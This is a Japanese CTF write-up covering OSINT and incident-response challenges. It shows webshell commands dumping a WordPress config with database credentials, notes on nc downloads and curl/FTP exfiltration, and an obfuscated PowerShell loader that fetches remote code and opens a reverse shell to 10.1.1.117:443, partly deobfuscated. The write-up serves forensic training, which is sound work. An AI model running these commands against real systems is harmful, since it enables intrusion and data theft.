はじめに
11/22 から 11/27 に開催された NFLabs. Cybersecurity Challenge for Students 2023 に参加しました.
最終的な順位は 2 位だったので良かったです.DFIR の問題で First Blood 賞もいただけました.
ほぼ 5 日間あったので問題数も多いですが Writeup を書いたので是非読んでください.
OSINT
ntt.com
ntt.comのドメイン名を日本電信電話株式会社(関連企業を含む)が登録する以前に登録していた企業の名前を答えてください。
過去の Web ページを知りたいので Wayback Machine を使うと見つかる.
National TechTeam
Repair
この銅像の修復にかかった費用をユーロで答えてください。
[解答形式 : €**.***]
画像が渡されているのでとりあえず Google 画像検索を使う.
色んな記事が出てくるので読んでみるけど正確な金額が書かれたものが見つからない.
- 36000 ユーロ
- 37000 ドル
- 30000 ユーロ
画像検索の結果からスペインの話であることがわかるので,画像検索から離れてスペイン語で Restauración de la escultura de San Georgios
と検索してみる.
El San Jorge de Estella, restaurado tal como debió de ser en el siglo XVIII という記事の中に 30.759,72 euros
とある.
€30.759
stranger than fiction
author:yamaguchi
ある著名な元俳優が2022年2月下旬、国会議員のDavid braun氏を含む5名で撮った動画をSNSにアップロードしました。 その俳優の代表作の第一話冒頭に映っている記念碑の場所を答えてください。 回答は緯度経度を小数点下一桁(下二桁目以降は切り捨て)までお願いします。
[解答形式 : N**.*,E**.*]
David braun Parliament
とかで調べるとウクライナの人であることがわかる.
また Wikipedia や X を見ると David braun は仮名で Davyd Arakhamia さんであることがわかる.
2022 年 2 月下旬のタイミングで元俳優ということなので,Volodymyr Zelenskyy さんがその元俳優っぽい.
「国民の僕」というテレビドラマが代表作であることがわかり,Netflix で見られるので確認してみると広場みたいなところに高い塔が立っていて,ウクライナ 記念碑
で探すと同じものが見つかる.
独立広場 (Майдан Незалежності) の Independence Square がその記念碑なので座標は
50.450307816031874, 30.52386391468849
N50.4,E30.5
celebration
author:yamaguchi
カタールW杯のベストゴールのゴールセレブレーションの輪の真後ろで、イギリスのあるプロサッカークラブの横断幕が掲げられていました。 そのクラブの名前にもなっている街の名前をアルファベットで答えてください。
カタールW杯 ベストゴール
とかで調べるとブラジル代表の Richarlison 選手のセルビア戦でのゴールであることがわかるので,その瞬間の動画や画像を world cup qatar best goal
や Richarlison Goal vs Serbia
で調べる.
色々見ていると X で見つかる.
動画は再生できないが,白に赤十字の MIDDLESBROUGH
と書かれた旗がある.
調べると Middlesbrough FC というチームであることがわかる
Middlesbrough
Contact
author:yamaguchi
友人とご飯を楽しんでいるときに、その友人から以下のような相談があった。
ダークウェブ上でCatTyphoonというペネトレーションツールを購入するために料金を支払ったのだが、ツールが送付されなかった。 サイトに記載のあったメールアドレスに連絡していたが、連絡が途絶えてしまった。現在もそのメールアドレスでは連絡がつかない。 またやりとりした人の名前について、苗字がSuで始まり、名前がTarouであったことは覚えてる。
ツールを利用したいが、現状連絡がとれないため、別の連絡手段を探しているらしい。 相談内容をもとに別の連絡先と思われるメールアドレスを教えてあげよう。そのメールアドレスをフラグとして投入してください。
[解答形式 : su*********@gmail.com]
- ヒント
ヒント1: ダークウェブだからといっていつでもIPアドレスを秘匿できないわけではない。 ヒント2: IPに紐づくOnionドメイン以外のドメインを見つけただろうか?そのドメインの管理者を見つけ出して欲しい。
この問題で出てくるドメイン名とかの情報は Writeup に載せられないので hoge.com
という情報を隠すときは [**domain_name**].com
とかにしているので適宜読み替えてください.
Tor ブラウザで CatTyphoon penetration tool
で調べるとすぐに見つかる.
https://[**56_length_domain_name**].onion.ly/
このドメインの最後の .onion.ly
は Tor ブラウザ無しで Onion ドメインにアクセスするためのプロキシサーバのドメインになっているので,.ly
を削除して使う.
サイトの中には以下の情報がある.
Contact us before pay ([**random?_email_address**]@proton.me)
-
Pay with ETH, address is [**ethereum_address**]
- ETH のアドレスから取引を追ってみたりしたけど何も見つからず.
Shodan で調べてみる.
そのままドメインを入れたりしても見つからないので,favicon のハッシュ値で調べてみる.
Favicon hash generator を使えばハッシュ値が得られる.(ただし,Onion ドメインには対応していないので,直接ダウンロードしたものをアップロードする.ダウンロードには,Tor ブラウザでダウンロードするか,以下のようにしてコマンドラインからダウンロードする.)
└─< . torsocks on
Tor mode activated. Every command will be torified for this shell.
└─< wget http://[**56_length_domain_name**].onion/favicon.ico
フィルタ (ログインしないと使えない) を http.favicon.hash:[**favicon_hash**]
に設定して検索すると探していたサイトが見つかる.
検索結果から IP アドレスが [**IP_1**]
で,AWS を使っていることがわかる.
他に情報が無いので censys でこの IP アドレスを調べてみると [**soreppoi_domain_name**].com
というドメインが見つかる.
このドメイン名を Shodan で検索すると,先ほどとは別の IP [**IP_2**]
が見つかる.
https://[**IP_2**]/
にアクセスしてしばらく待つとこんな感じできちんと表示されないが問題文に沿う名前が出てくる.
必要なファイルが src="https://[**soreppoi_domain_name**]/..."
みたいにフルパスで指定されているので,見つからずこうなってしまっているが,ブログの情報を探るには不便なので /etc/hosts
ファイルに以下の行を加えて https://[**soreppoi_domain_name**]/
にアクセスするときちんと表示される
[**IP_2**] [**soreppoi_domain_name**]
WordPress が使われているので探ってみるといろいろ情報が得られるが,メールアドレスが登録されていない?っぽいことがわかる.
ドメイン登録情報に載っていないか調べると WHOIS検索 や who.is とかで見つかるアドレスは
abuse@amazonaws.com
[**owner's_amazon_privacy_email**]@identity-protect.org
ぐらい.
AWS のドキュメント に
プライバシー保護が有効になっている場合、WHOIS のクエリに対する応答では、[登録者 E メール] の値は owner1234@example.com.identity-protect.org のような値になります。
とあって所有者の情報は隠されていることがわかる.
過去のドメイン名登録情報も検索するために whois history
とかで検索して見つかったサイトで片っ端から調べると WHOXY で探していたメールアドレスが見つかる.
DFIR
flower
会社で管理しているWebサイトにアクセスすると、「We hacked your Web page :)」という文章が表示されるというインシデントが発生しました。あなたはWebサーバを調査したが、不審なログを発見することはできませんでした。 しかし、調査の過程でWebサイトのドメイン名をDNS名前解決した際、本来のIPアドレスとは異なるIPアドレスが返っていることを発見しました。あなたはDNSに問題が発生していると考え、通信経路上で取得していたパケットデータを確認することにしました。 pcapngファイルを解析し、インシデントの原因となる攻撃を行ったと考えられる端末のIPアドレスを解答してください。
flower.pcapng
Wireshark で flower.pcapng を開く.
[Statics] -> [Endpoints] でウィンドウを開いて [IPv4・5] のタブを選択すると 5 つの IP アドレスがあることがわかる.
最初の方のやりとりを見るとこうなってそう
- 10.64.3.123 --> Client
- 10.64.3.64 --> Web server
- 10.64.3.120 --> DNS server
最後のやり取りを見ると We hacked your Web page :)
を返してくるサーバがあるので
- 10.64.3.178 --> Malicious web server
他にもうひとつ IP アドレスが残っていて,10.64.3.120 (DNS server)のみとやり取りしている
- 10.64.3.101 --> Attacker
10.64.3.101
rockyou
あなたの運営しているwebアプリケーションにおいて、不正ログインが発生している可能性があるという報告がありました。それを知った同僚がパケットキャプチャを行ってくれていました。セキュリティ担当であるあなたは、手元にあるデータを用いて不正ログインに関する調査を行うこととなりました。Webサーバのアクセスログとpcapファイルを元に不正ログインされている可能性が高いと思われるユーザのユーザ名を解答してください。
output.pcap
access.log
ログインに成功しているパケットを探すので,
http.response.code==200
でフィルタリングするとパケットが一つだけ引っかかるので,右クリックして [Follow] -> [HTTP Stream] とするとログインに成功したユーザ名が見つかる.
william
exfildb
あなたはシステム&セキュリティ担当の一員として、Webサイトのインシデント対応におけるログ分析を依頼されました。システム構成および調査対象のログは、exfildb.zipに格納されています。攻撃者にDBの情報が持ち出されたと推測される時間を調査し、日本時間(JST)で mm:hh:ss の形式で解答してください。
例) 持ち出された時間が日本時間で2023年9月6日11時02分05秒の場合、11:02:05と解答してください。
exfildb.zip
exfildb.zip
├── IDSlog
│ ├── 2021-04-20_1645_nids_log.pcap
│ ├── 2021-04-20_nids_et_eve.json
│ └── 2021-04-20_nids_et_fast.log
├── Jumpserver
│ └── 2021-04-20_jump_secure.log
├── systeminfo.pdf
└── Webserver
└── 2021-04-20_web_access.log
この問題では基本的に PDF の 6 ページ目の時間と 2021-04-20_1645_nids_log.pcap
ファイルのパケットを見比べながら探す.
(Wireshark はデフォルトでは時間の表示がないはずなので,カラムを変更するか追加しないといけない.)
パケットは UTC 07:45:00 からなので,UTC 07:47:00 から見ていく.
パケットの方を見ると UTC 07:47:00 に 172.16.193.101 (外) から 172.16.10.11 (Web Server) にペイロードが送られてコマンドが実行されている.
これらのストリームから 172.16.193.101 が Attacker の IP アドレスであることがわかる.
ちなみに,一つ目のストリームでサーバに cmd.php
を配置してそこにコマンドを投げると実行できるようにしている.
実行されたコマンドを知りたいので,以下のようにフィルタリングする.
http.request.uri.path == "/wordpress/wp-content/plugins/wp-file-manager/lib/files/cmd.php"
実行されたコマンドとそのレスポンスをまとめると以下のようになる.
実行されたコマンド
$ hostname
web.localdomain
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:bb:1c:db brd ff:ff:ff:ff:ff:ff
inet 172.16.10.11/24 brd 172.16.10.255 scope global noprefixroute ens192
valid_lft forever preferred_lft forever
inet6 fe80::81ed:fb67:da16:c88a/64 scope link noprefixroute
valid_lft forever preferred_lft forever
$ pwd
/var/www/html/wordpress/wp-content/plugins/wp-file-manager/lib/files
$ls
cmd.php
$ ls ../
codemirror
css
files
img
index.php
jquery
js
main.default.js
php
sounds
themes
wpfilemanager.php
...
$ ls ../../../../../
index.php
license.txt
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
$ cat ../../../../../wp-config.php
<?php
/**
* WordPress ...............
*
* ................................................ wp-config.php ..........................................
* ................................................... "wp-config.php" .................................
* ............................................................
*
* .........................................................
*
* * MySQL ......
* * .........
* * .......................................
* * ABSPATH
*
* @link https://ja.wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ......:
// Windows ... "........." ...................................................... !
// .............................................
// (http://wpdocs.osdn.jp/%E7%94%A8%E8%AA%9E%E9%9B%86#.E3.83.86.E3.82.AD.E3.82.B9.E3.83.88.E3.82.A8.E3.83.87.E3.82.A3.E3.82.BF ......)
// ..................... UTF-8 ... BOM ...... (UTF-8N) ..............................
// ** MySQL ...... - ..................................................................... ** //
/** WordPress ................................. */
define( 'DB_NAME', 'wpdb' );
/** MySQL .................................... */
define( 'DB_USER', 'wpdbadmin' );
/** MySQL .................................... */
define( 'DB_PASSWORD', 'wpdbadmin' );
/** MySQL ............... */
define( 'DB_HOST', '172.16.10.12' );
/** .......................................................................................... */
define( 'DB_CHARSET', 'utf8' );
/** ................................. (.........................................................) */
define( 'DB_COLLATE', '' );
/**#@+
* ...........................
*
* .................................... (......) ..........................................
* {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org ........................} .............................................
* ...................................................... cookie ....................................................................................................................................
*
* @since 2.6.0
*/
define('AUTH_KEY', 'i<6wJ:.EjA#qx42:[BdBVRT~+=_n~F|Ij.lC`eKiQ4aIBHuIK_sfWPxZbTTQjcY,');
define('SECURE_AUTH_KEY', '{(!)r[lpl3;.ig=D9lk1+BR:ym)I6Om@L%=r$Uass@V-MP(*&+QDL3][dJA}HeyQ');
define('LOGGED_IN_KEY', 'o+^N:][SBo%i{9R8|r2H4C.-cRkL .cD2x3{4;>MEOP6W.pr0YLbibzKy0b4u6C}');
define('NONCE_KEY', '()l>s;#VV4X#|`+|X )1AKU72=^CKJ^6[Q@|Q{pHW52<Wif$+-cQu>&+4?K+6q]`');
define('AUTH_SALT', 'EW,t<rg+LQ`L51/Pu[N$dZxfy) oC2^A.L]OZ|%x8xBJd<||Y$`.a4}vmvI>!<.J');
define('SECURE_AUTH_SALT', '}T]%5nQ3baU:*U|{pLBDw,NEQdCUv}8CdaG=.[gzy,Vg+V$B9t4Jvfl[4&M^TOjO');
define('LOGGED_IN_SALT', 'KJMp!`_X764XJKulsTA!m~XX 5_>>*@Q`U] 57ULgzJ$=/%pPwK!AMTNdt0}K9lj');
define('NONCE_SALT', '/;8ai.6P mU*0L9 ]jd6cpV+[^0dJc,Yg~?NA?l{r4Y#=5<s_Me5e[uCD6~e hgP');
/**#@-*/
/**
* WordPress ..........................................
*
* ........................... (......) ........................................................................ WordPress ...
* ............................................................................................................
*/
$table_prefix = 'wp_';
/**
* ............: WordPress .....................
*
* ............ true ................................. (notice) .....................
* .......................................................................................... WP_DEBUG ................................................
*
* .....................................................................................................................
*
* @link https://ja.wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* .......................................... ! WordPress ......................................................... */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
07:49:32 に php のコード (認証情報) がリークされている.
この直後の 07:50:07 に 172.16.193.101 (Attacker) から 172.16.10.101 (Jump Server) に SSH 接続されているパケットが確認できる.
Jump Server は使われていないはずなので,ここからは ip.addr == 172.16.10.101
でフィルタリングする.
SSH 接続と並行して UTC 07:53:27 に nc
の実行ファイルを 172.16.10.101 (Jump Server) が 172.16.193.101 (Attacker) からダウンロードしている.
UTC 07:53:55 には 172.16.10.101 (Jump Server) から 172.16.193.101 (Attacker) にアクセスしている.
curl
コマンドが二回実行されている.
ip.addr == 172.16.10.101
でフィルタリングした内容で 07:55:03 から SSH と上の Attacker とのやり取り以外に 172.16.10.101 (Jump Server) が 172.16.10.12 (DB Server) と MySQL のやり取りをしている.
(これは mysqldump
を実行した時刻と一致している.)
その後のパケットを見ていくと 07:55:26 の curl
は失敗しているっぽい.
その後に 07:56:28 の curl
コマンド (Jump Server -> Attacker) 直後から FTP のやり取りが Attacker と Jump Server で行われている.
FTP-DATA が 07:56:28 に送信されていることも確認できるできて,UTC+0900 で答えるので 16:56:28
16:56:28
invader (1)
【導入】
Windowsのサーバーに対して外部から不正アクセスを検知したため、この端末のイベントログを抽出した。
このログを分析し、invader (1) ~ (3)までの3つの問に答えよ。3つの問の解答順序は問わないものとする。
【Q1】
侵入元のIPアドレスを答えよ。
注:192.168.0.0/24以外のIPアドレスはすべて外部のIPアドレスとする。
回答方式:IPアドレスを答える
回答例:192.0.2.2
ログオンに関するログを見たいので Security.evtx
をイベントビューアーで開くき,ログオンの成功を指すイベント ID である 4624 でフィルタリングすると 29 個のイベントが見つかる.
外部から不正アクセスなので,この中からリモートで接続されたものを探したいので,Microsoft Docs - アカウント ログオン イベント にあるようにログオンの種類が 3 や 10 のものを探す.
以下の 3 つが見つかる
ログオン ID: 10 2023/10/10 16:44:55 192.168.81.128
ログオン ID: 10 2023/10/10 16:40:03 192.168.81.128
ログオン ID: 3 2023/10/10 16:40:01 192.168.81.128
192.168.81.128
invader (2)
invader (1) の続き
【Q2】
攻撃者は、侵入後にWindows Defenderの設定を変更し特定のフォルダーを検知の対象外とした。
そのフォルダーを答えよ。
回答方式:フォルダーのフルパスを回答(case insensitive)
回答例:C:\Windows\Tasks\
Windows Defender の設定に関してなので Microsoft-Windows-Windows Defender%4Operational.evtx
を開く.
(Microsoft Docs - Microsoft Defender ウイルス対策ソフトウェアの問題をトラブルシューティングするため、イベント ログとエラー コードをレビューする)
11 個しかないので,全部見れる.
一番上に以下のログが見つかる
Microsoft Defender ウイルス対策 の構成が変更されました。予期しないイベントだった場合は、マルウェアによる変更の可能性があるため、設定を確認する必要があります。
以前の値:
新しい値: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = 0x0
C:\
invader (3)
invader (2)の続き
【Q3】
攻撃者は、永続化のためにとあるファイル(実行ファイルまたはスクリプトファイル)をOS起動時に自動的に実行するように設定した。
攻撃者が用意したOS起動時に自動的に実行されるファイルを答えよ。
回答方式:ファイルのフルパスを回答(case insensitive)
回答例:C:\Windows\Tasks\test.exe
OS起動時に自動的に実行するように設定した。
とあるので,タスクスケジューラにタスクが登録された際のイベントを探す.
(OS 起動時の自動実行の手法は他にも,レジストリの Run キーに追加されたり,スタートアップフォルダへ配置,Windows サービスへの登録があるが,結果的に今回はタスクスケジューラへの登録)
Security.evtx
を開く.
(4698(S): スケジュールされたタスクが作成されました。)
イベント ID を 4698 でフィルタリングすると明らかに怪しいのがみつかる.
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\cmd.exe</Command>
<Arguments>/c C:\Users\Administrator\rtcp.exe</Arguments>
</Exec>
</Actions>
C:\Users\Administrator\rtcp.exe
developer
author:hoyo
開発者が使用していたクラウドサービスが侵害を受けて原因を調査していたところ、ある開発者が複数のサービスや開発端末で同じパスワードを使用していたことがわかりました。
そこであなたはパスワードが漏えいした原因を調査するために、開発者の端末を回収して調査をすることにしました。 開発者に不審な出来事がなかったかヒアリングしたところ、「そういえば、開発に使うソフトウェアをインストールするために、ISOファイルに入っていたインストーラを実行したが、何も表示されなかったなぁ。。」と話しています。 開発者がこの行動を行った大体の時間を聞いて、あなたはこの行動が行われた時間のトラフィックログとOSのイベントログを抽出しました。
このログから、開発者 developer の漏えいしたパスワードを調べてください。
developer.zip
developer.zip
├── Logs
│ ├── Application.evtx
│ ├── HardwareEvents.evtx
│ ├── Internet Explorer.evtx
│ └── ...
└── traffic.pcap
マルウェアが実行されたらしいので,適当にあたりをつけて PowerShell のログを見てみる (Windows PowerShell.evtx
をイベントビューアーで開く) と一つ目に明らかに怪しいログが見つかる.
ここからは難読化を解除していく.
PowerShell の難読化を解除するときは以下がポイントとなる.
-
-e
オプションは Base64 でエンコードされた文字列を実行する.
(-EncodedCommand | -e | -ec) - 基本的に文字列が評価されて実行されるので,実行する部分を外して文字列の部分だけ PowerShell に渡すと勝手に元に戻してくれる.
- PowerShell では基本的に大文字小文字は区別されない.
- 文字列の評価には
iex
(Invoke-Expression
) が使われる.
(MicroSoft Docs - Invoke-Expression) -
()
の対応に関しては VSCode で確認できる.
イベントログから得られたスクリプトの難読化解除
Base64 を戻す.
IeX ( (('.(n36{0}{2}{1}n36 -fLDSsEt-LDS,LDStEmL'+'DS,LDSILDS) (n36{2}{0}{3}{1}n36-f LDSriabLELDS,LDSo2LDS,LDSVALDS,LDS:F'+'yLDS) ( [TYPe](n36{0}{1}{2}{3}n36-FLDST'+'LDS,LDSELDS,LDSxt.ELDS,LDSnCo'+'d'+'ingLDS) ) ; .(n36{1}{0}n36-fLDSExLDS,LDSiLDS'+')(.(n36{3}{2}{'+'1}{0'+'}n36 -fLDSectLDS,LDSjLDS,LDSbLDS,LDSNew-OLD'+'S) (n36{2}{0}{1}n36-fLDSWebLDS,LDSClientLDS,LDSNet.LDS)).(n36'+'{0}{1}{3}{2}{4}n36-f LDSdownl'+'LDS,LDSoLDS,LDSdLDS,LDSaLDS,L'+'DSStringLDS).Invoke((n36{4}{1}{5}{0}{3}{2}n36 -'+'f LDS.LDS,LDSttp://1LDS,LDSibLDS,LDS1.1.117/lLDS,LD'+'ShLDS,LDS0LDS));4Wl{a} = &(LDSSHLDS) n36an36;4Wl{C} = '+'&(n36{1}{0'+'}{2}n36 -f LDSew-ObjecLDS,LDSN'+'LDS,LDStLDS) (n36{1}{0}{2}{7}{6}{3}{5}{4}n36 -f'+'LDSSocLDS,LDSSys'+'tem.Net.LDS,LDSketLDS,LDSCPCliLDS,LDStLDS,LDSenLDS,LDS.T'+'LDS,LDSsLDS)((n36'+'{0}{1}{2}n36-f LDS1LDS,LDS'+'0.'+'1.1.11LDS,LDS7LDS),443);4Wl{S} = 4Wl{C}.(n36'+'{1}{0}n36-f LDSamLDS,LDSGetStreLDS).Inv'+'oke();[byte[]]4Wl{B} = 0..2048He8&(LDS%LD'+'S){0};whil'+'e ((4Wl{i}'+' = 4Wl{S}.(n36{1}{0}n36-f '+'LDSdLDS,LDSReaLDS).Invoke(4Wl{B}, 0, 4Wl{b}.n36loZyenoZygTHn36)) -ne 0) {;4Wl{b2} = 4Wl{B}[0..(4Wl{i}-1)];4Wl{D} = .(LDSDLDS) 4Wl{a} 4Wl{B2};4W'+'l{d} = (.(n36{2}{1}{0}n'+'36-f LDStLDS,LDSbjecLDS,L'+'DSNew-OLDS) -TypeName (n36{1}{0}{3}{4}'+'{2}n36 '+'-f LDSstem.LDS,LDSSyLDS,LDSEncodingLDS,LDSText.ALDS,LDSSCIILDS)).n36GEtoZyStroZyINgn36(4Wl{d},0, 4Wl{D}.n36leoZyNGoZy'+'Thn36);4Wl{sB} = (&(n36{1}{0}n36 -f LDSeXLDS,LDSILDS) 4Wl{D} 2>&'+'1 He8 .(n36{0}{1}{2}n36-fLDSOut-LDS,LDSStrLDS,LD'+'Sin'+'gLDS) );4W'+'l{SoZyB} = 4Wl{soZyB} + LDSPS LDS + (.(n36{0}{1}n36-f LDSpwLDS,LDSdLDS)).n36pAoZyTHn36 + LDS> LDS;4Wl{So'+'ZyBY} = ( (&(n36{3}{1}'+'{2}{0}n36-f LDSeMLDS,'+'LDSHildiLDS,LDSTLDS,LDSGeT-cLDS) (n36{3}{2}{1}{'+'0}n36-fLDS:Fyo2LDS,LDSbLeLDS,LDSRIALDS,LDSv'+'aLDS) ).n36VAloZyUEn36::n36aSoZyCiIn36).(n36{'+'1}{2}{0}n36 -fLDSytesLDS,LDSGetL'+'DS,LDSBLDS).Inv'+'o'+'ke(4Wl{sb});4W'+'l{SoZyBY} = &(LD'+'SELDS) 4Wl{a} 4Wl{SoZyBy};4Wl{S}.(n36{0}{1}n36-fLDSWrL'+'DS,LDSiteLDS).Invoke(4Wl{SoZyBY},0,4Wl{soZyBY}.n36loZyEngtHn36);4Wl{S}'+'.'+'(n36{1}{0}n36 -fLDSshLDS,LDSFluLDS).In'+'voke();4Wl{b'+'} = 0'+'..20'+'4'+'8He8.(LDS%LDS)'+'{0};};4Wl{S}.(n36{1}{0}n36-f LDSoseLDS,LDSClLDS)'+'.Invoke();4Wl{c}.(n36{1}{0}n36'+'-fLDSoseLDS,L'+'DSClLDS).Invoke();') -cREPLace ([ChAr]111+[ChAr]90+[ChAr]121),[ChAr]96 -cREPLace ([ChAr]76+[ChAr]68+[ChAr]83),[ChAr]39-repLAcE ([ChAr]72+[ChAr]101+[ChAr]56),[ChAr]124 -cREPLace ([ChAr]110+[ChAr]51+[ChAr]54),[ChAr]34 -repLAcE '4Wl',[ChAr]36) )
iex
の中身が文字列で 'XXX'+'YYY'+'ZZZ'+...
みたいに繰り返し結合されているので間の '+'
を取り除き,iex
の中身の文字列を取り出す.
('.(n36{0}{2}{1}n36 -fLDSsEt-LDS,LDStEmLDS,LDSILDS) (n36{2}{0}{3}{1}n36-f LDSriabLELDS,LDSo2LDS,LDSVALDS,LDS:FyLDS) ( [TYPe](n36{0}{1}{2}{3}n36-FLDSTLDS,LDSELDS,LDSxt.ELDS,LDSnCodingLDS) ) ; .(n36{1}{0}n36-fLDSExLDS,LDSiLDS)(.(n36{3}{2}{1}{0}n36 -fLDSectLDS,LDSjLDS,LDSbLDS,LDSNew-OLDS) (n36{2}{0}{1}n36-fLDSWebLDS,LDSClientLDS,LDSNet.LDS)).(n36{0}{1}{3}{2}{4}n36-f LDSdownlLDS,LDSoLDS,LDSdLDS,LDSaLDS,LDSStringLDS).Invoke((n36{4}{1}{5}{0}{3}{2}n36 -f LDS.LDS,LDSttp://1LDS,LDSibLDS,LDS1.1.117/lLDS,LDShLDS,LDS0LDS));4Wl{a} = &(LDSSHLDS) n36an36;4Wl{C} = &(n36{1}{0}{2}n36 -f LDSew-ObjecLDS,LDSNLDS,LDStLDS) (n36{1}{0}{2}{7}{6}{3}{5}{4}n36 -fLDSSocLDS,LDSSystem.Net.LDS,LDSketLDS,LDSCPCliLDS,LDStLDS,LDSenLDS,LDS.TLDS,LDSsLDS)((n36{0}{1}{2}n36-f LDS1LDS,LDS0.1.1.11LDS,LDS7LDS),443);4Wl{S} = 4Wl{C}.(n36{1}{0}n36-f LDSamLDS,LDSGetStreLDS).Invoke();[byte[]]4Wl{B} = 0..2048He8&(LDS%LDS){0};while ((4Wl{i} = 4Wl{S}.(n36{1}{0}n36-f LDSdLDS,LDSReaLDS).Invoke(4Wl{B}, 0, 4Wl{b}.n36loZyenoZygTHn36)) -ne 0) {;4Wl{b2} = 4Wl{B}[0..(4Wl{i}-1)];4Wl{D} = .(LDSDLDS) 4Wl{a} 4Wl{B2};4Wl{d} = (.(n36{2}{1}{0}n36-f LDStLDS,LDSbjecLDS,LDSNew-OLDS) -TypeName (n36{1}{0}{3}{4}{2}n36 -f LDSstem.LDS,LDSSyLDS,LDSEncodingLDS,LDSText.ALDS,LDSSCIILDS)).n36GEtoZyStroZyINgn36(4Wl{d},0, 4Wl{D}.n36leoZyNGoZyThn36);4Wl{sB} = (&(n36{1}{0}n36 -f LDSeXLDS,LDSILDS) 4Wl{D} 2>&1 He8 .(n36{0}{1}{2}n36-fLDSOut-LDS,LDSStrLDS,LDSingLDS) );4Wl{SoZyB} = 4Wl{soZyB} + LDSPS LDS + (.(n36{0}{1}n36-f LDSpwLDS,LDSdLDS)).n36pAoZyTHn36 + LDS> LDS;4Wl{SoZyBY} = ( (&(n36{3}{1}{2}{0}n36-f LDSeMLDS,LDSHildiLDS,LDSTLDS,LDSGeT-cLDS) (n36{3}{2}{1}{0}n36-fLDS:Fyo2LDS,LDSbLeLDS,LDSRIALDS,LDSvaLDS) ).n36VAloZyUEn36::n36aSoZyCiIn36).(n36{1}{2}{0}n36 -fLDSytesLDS,LDSGetLDS,LDSBLDS).Invoke(4Wl{sb});4Wl{SoZyBY} = &(LDSELDS) 4Wl{a} 4Wl{SoZyBy};4Wl{S}.(n36{0}{1}n36-fLDSWrLDS,LDSiteLDS).Invoke(4Wl{SoZyBY},0,4Wl{soZyBY}.n36loZyEngtHn36);4Wl{S}.(n36{1}{0}n36 -fLDSshLDS,LDSFluLDS).Invoke();4Wl{b} = 0..2048He8.(LDS%LDS){0};};4Wl{S}.(n36{1}{0}n36-f LDSoseLDS,LDSClLDS).Invoke();4Wl{c}.(n36{1}{0}n36-fLDSoseLDS,LDSClLDS).Invoke();') -cREPLace ([ChAr]111+[ChAr]90+[ChAr]121),[ChAr]96 -cREPLace ([ChAr]76+[ChAr]68+[ChAr]83),[ChAr]39-repLAcE ([ChAr]72+[ChAr]101+[ChAr]56),[ChAr]124 -cREPLace ([ChAr]110+[ChAr]51+[ChAr]54),[ChAr]34 -repLAcE '4Wl',[ChAr]36
最後の方が -creplace
となっているので,置換される文字列を元に戻して Python で置換する. (-creplace
は大文字,小文字を区別する)
s1 = obfuscated_strings
s2 = s1.replace("oZy", "`")
s3 = s2.replace("LDS", "'")
s4 = s3.replace("He8", "|")
s5 = s4.replace("n36", '"')
s6 = s5.replace("4Wl", "$")
print(s6)
.("{0}{2}{1}" -f'sEt-','tEm','I') ("{2}{0}{3}{1}"-f 'riabLE','o2','VA',':Fy') ( [TYPe]("{0}{1}{2}{3}"-F'T','E','xt.E','nCoding') ) ; .("{1}{0}"-f'Ex','i')(.("{3}{2}{1}{0}" -f'ect','j','b','New-O') ("{2}{0}{1}"-f'Web','Client','Net.')).("{0}{1}{3}{2}{4}"-f 'downl','o','d','a','String').Invoke(("{4}{1}{5}{0}{3}{2}" -f '.','ttp://1','ib','1.1.117/l','h','0'));${a} = &('SH') "a";${C} = &("{1}{0}{2}" -f 'ew-Objec','N','t') ("{1}{0}{2}{7}{6}{3}{5}{4}" -f'Soc','System.Net.','ket','CPCli','t','en','.T','s')(("{0}{1}{2}"-f '1','0.1.1.11','7'),443);${S} = ${C}.("{1}{0}"-f 'am','GetStre').Invoke();[byte[]]${B} = 0..2048|&('%'){0};while ((${i} = ${S}.("{1}{0}"-f 'd','Rea').Invoke(${B}, 0, ${b}."l`en`gTH")) -ne 0) {;${b2} = ${B}[0..(${i}-1)];${D} = .('D') ${a} ${B2};${d} = (.("{2}{1}{0}"-f 't','bjec','New-O') -TypeName ("{1}{0}{3}{4}{2}" -f 'stem.','Sy','Encoding','Text.A','SCII'))."GEt`Str`INg"(${d},0, ${D}."le`NG`Th");${sB} = (&("{1}{0}" -f 'eX','I') ${D} 2>&1 | .("{0}{1}{2}"-f'Out-','Str','ing') );${S`B} = ${s`B} + 'PS ' + (.("{0}{1}"-f 'pw','d'))."pA`TH" + '> ';${S`BY} = ( (&("{3}{1}{2}{0}"-f 'eM','Hildi','T','GeT-c') ("{3}{2}{1}{0}"-f':Fyo2','bLe','RIA','va') )."VAl`UE"::"aS`CiI").("{1}{2}{0}" -f'ytes','Get','B').Invoke(${sb});${S`BY} = &('E') ${a} ${S`By};${S}.("{0}{1}"-f'Wr','ite').Invoke(${S`BY},0,${s`BY}."l`EngtH");${S}.("{1}{0}" -f'sh','Flu').Invoke();${b} = 0..2048|.('%'){0};};${S}.("{1}{0}"-f 'ose','Cl').Invoke();${c}.("{1}{0}"-f'ose','Cl').Invoke();
この文字列が実行されるので ;
で改行して整形する.
.("{0}{2}{1}" -f'sEt-','tEm','I') ("{2}{0}{3}{1}"-f 'riabLE','o2','VA',':Fy') ( [TYPe]("{0}{1}{2}{3}"-F'T','E','xt.E','nCoding') ) ;
.("{1}{0}"-f'Ex','i')(.("{3}{2}{1}{0}" -f'ect','j','b','New-O') ("{2}{0}{1}"-f'Web','Client','Net.')).("{0}{1}{3}{2}{4}"-f 'downl','o','d','a','String').Invoke(("{4}{1}{5}{0}{3}{2}" -f '.','ttp://1','ib','1.1.117/l','h','0'));
